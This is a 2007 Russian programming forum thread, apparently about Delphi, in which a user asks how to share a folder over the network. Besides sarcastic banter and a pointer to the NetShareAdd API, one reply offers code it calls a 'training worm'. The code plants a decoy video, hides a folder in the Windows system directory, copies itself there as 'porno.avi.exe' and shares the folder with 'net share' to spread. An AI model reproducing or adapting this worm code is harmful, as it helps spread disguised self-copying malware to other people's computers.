Установка общего доступа к папкам

← →
йцукенг (2007-05-11 13:04) [0]

Кто знает как сделать Shared какую нибудь папку? Заранее спасибо.

← →
Anatoly Podgoretsky © (2007-05-11 13:38) [1]

> йцукенг (11.05.2007 13:04:00) [0]

Зачем тебе знать, кто это
знает. Допустим Вася
Пупкин знает, тебе стало
легче?

← →
Iv_ © (2007-05-11 15:09) [2]

вот тебе кусок кода из простого тренировочного червячка :)))
begin
// создаем оводку глаз
assignfile(t,"c:\p.avi");
rewrite(t);
closefile(t);
// запускаем плеер ассоциированный с avi файлами
shellexecute(Application.Handle, nil, "c:\p.avi", nil, nil, SW_SHOW);
//если не админ то дальше делать нечего :)
if not isAdmin then exit;
//создаем папку prn_ в папке винды
GetSystemDirectory(sdir, sizeof(sdir));
createdir(sdir+"\prn_");
//устанавливаем ее атрибуты
winexec(pchar("attrib +h +s +a +r "+sdir+"\prn_"),0);
//копируем себя в эту папку
copyfile(pchar(Application.ExeName),pchar(sdir+"\prn_\porno.avi.exe"), false);
//и расшариваем :) все просто как огурец
winexec(pchar("net share porno="+sdir+"\prn_"),0);
//дохнем
halt;
end.

← →
Iv_ © (2007-05-11 15:10) [3]

как видишь тут это делается через командную строку :)

← →
йцукенг (2007-05-12 15:33) [4]

> Anatoly Podgoretsky © (11.05.07 13:38) [1]

> Зачем тебе знать, кто это
> знает. Допустим Вася
> Пупкин знает, тебе стало
> легче?

Ни х.... Вася Пупкин не знает. Если бы знал, тогда бы написал.

> [4] йцукенг (12.05.07 15:33)
>Ни х.... Вася Пупкин не знает. Если бы знал, тогда бы написал.
Вася Пупкин - уважаемый человек, который много чего знает.
Просто, желание отвечать у него возникает далеко не всем.

← →
P (2007-05-12 16:42) [6]

>
> йцукенг (11.05.07 13:04)
>
> Кто знает как сделать Shared какую нибудь папку? Заранее
> спасибо.

NetShareAdd
The NetShareAdd function shares a server resource.

и MSDN

Установка общего доступа к папкам Найти похожие ветки